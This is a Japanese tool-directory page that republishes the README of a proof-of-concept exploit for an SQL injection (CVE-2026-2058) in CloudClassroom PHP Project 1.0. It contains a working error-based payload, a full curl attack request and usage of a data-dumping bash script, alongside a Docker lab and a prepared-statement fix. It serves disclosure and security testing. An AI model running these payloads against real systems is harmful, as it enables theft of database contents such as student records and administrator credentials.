Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2058-PoC — CVE-2026-2058の概念実証エクスプロイト。CloudClassroom PHPプロジェクトにおけるSQLインジェクションであり、自動化されたデータベース列挙とデータ抽出を備えています。 | Kitploit
ツール/GitHubGitHub/carlosalbertotuma/cve-2026-2058-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubcarlosalbertotuma/cve-2026-2058-poc

CVE-2026-2058-PoC

CVE-2026-2058の概念実証エクスプロイト。CloudClassroom PHPプロジェクトにおけるSQLインジェクションであり、自動化されたデータベース列挙とデータ抽出を備えています。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-2058-PoC – CloudClassroom PHP Project SQLインジェクション

概要

CloudClassroom PHP Project (v1.0) の Post Query機能 に SQLインジェクションの脆弱性 が存在します。

この脆弱性により、攻撃者は squeryx POSTパラメータ を介して任意のSQLコマンドを注入でき、データベースの列挙とデータ抽出 が可能になります。

このリポジトリには、バックエンドデータベースから機密データを抽出するためにこの脆弱性を悪用する方法を示す 概念実証(PoC)エクスプロイト が含まれています。


脆弱性情報

フィールド値
CVECVE-2026-2058
脆弱性タイプSQLインジェクション
CWECWE-89
影響を受けるソフトウェアCloudClassroom PHP Project
影響を受けるバージョン1.0
コンポーネントPost Query機能
攻撃ベクトルリモート
認証の必要性不要
影響データベース情報の漏えい
深刻度高
攻撃パターン参照CAPEC-66

脆弱なエンドポイント

root@kitploit:~
POST /postquerypublic

脆弱なパラメータ

root@kitploit:~
squeryx

根本原因

バックエンドコードは、適切なサニタイズやパラメータ化クエリを行わずに、ユーザー入力をSQLクエリに直接連結しています。

脆弱なコードの例:

root@kitploit:~
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";

$tempsquery はユーザー入力に由来するため、攻撃者は任意のSQLを注入できます。


脆弱なラボ環境(Docker)

テストおよび研究目的のために、脆弱なDocker環境が利用可能です。

脆弱なアプリケーションを実行

root@kitploit:~
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0

概念実証

この脆弱性は、MySQLの updatexml() 関数を利用した エラーベースSQLインジェクション 技術でトリガーできます。

ペイロードの例:

root@kitploit:~
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1

手動エクスプロイト

curl リクエストの例:

root@kitploit:~
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"

期待されるレスポンス:

root@kitploit:~
XPATH syntax error: '~cc_db~'

エクスプロイトスクリプト

このリポジトリには、以下を自動的に実行するbashエクスプロイトが含まれています:

  • データベース名 の抽出
  • テーブル の列挙
  • カラム の列挙
  • テーブルデータ のダンプ

使用方法

root@kitploit:~
chmod +x cloudclassroom_sqli_exploit.sh

./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic

例:

root@kitploit:~
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic

影響

攻撃者は以下が可能です:

  • データベース構造の列挙
  • 機密データの抽出
  • 管理者資格情報の取得
  • 学生記録へのアクセス
  • バックエンドデータベースの完全な侵害

CVSSスコア

NIST NVD

  • ベーススコア: 9.8 (CRITICAL)
  • ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CNA (VulDB)

  • ベーススコア: 7.3 (HIGH)
  • ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

⚠️ 注: NVDのCVSSスコアは、影響評価の違いによりCNA(VulDB)のスコアと異なります。


EPSS(エクスプロイト予測スコアリングシステム)

エクスプロイト予測スコアリングシステム(EPSS)は、脆弱性が実際に悪用される確率を推定します。

CVEEPSS確率パーセンタイル日付
CVE-2026-20580.000287.62 %2026-03-01

出典: FIRST EPSSデータセット


緩和策

開発者は以下を実施すべきです:

  • プリペアドステートメント の使用
  • 入力検証 の実装
  • ユーザー入力の適切なエスケープ
  • 最小権限のデータベース権限 の適用

安全な実装の例:

root@kitploit:~
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();

スクリーンショット

SQLインジェクションのエクスプロイト

image

image

参考情報

  • https://cwe.mitre.org/data/definitions/89.html
  • https://owasp.org/Top10/2025/A05_2025-Injection/
  • https://capec.mitre.org/data/definitions/66.html
  • https://github.com/OWASP/www-project-web-security-testing-guide/blob/master/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.md

免責事項

このエクスプロイトは 教育および研究目的のみ で提供されています。

著者は、このコードの誤用または損害について 責任を負いません。


著者

bl4dsc4n

セキュリティ研究者

ツールをダウンロード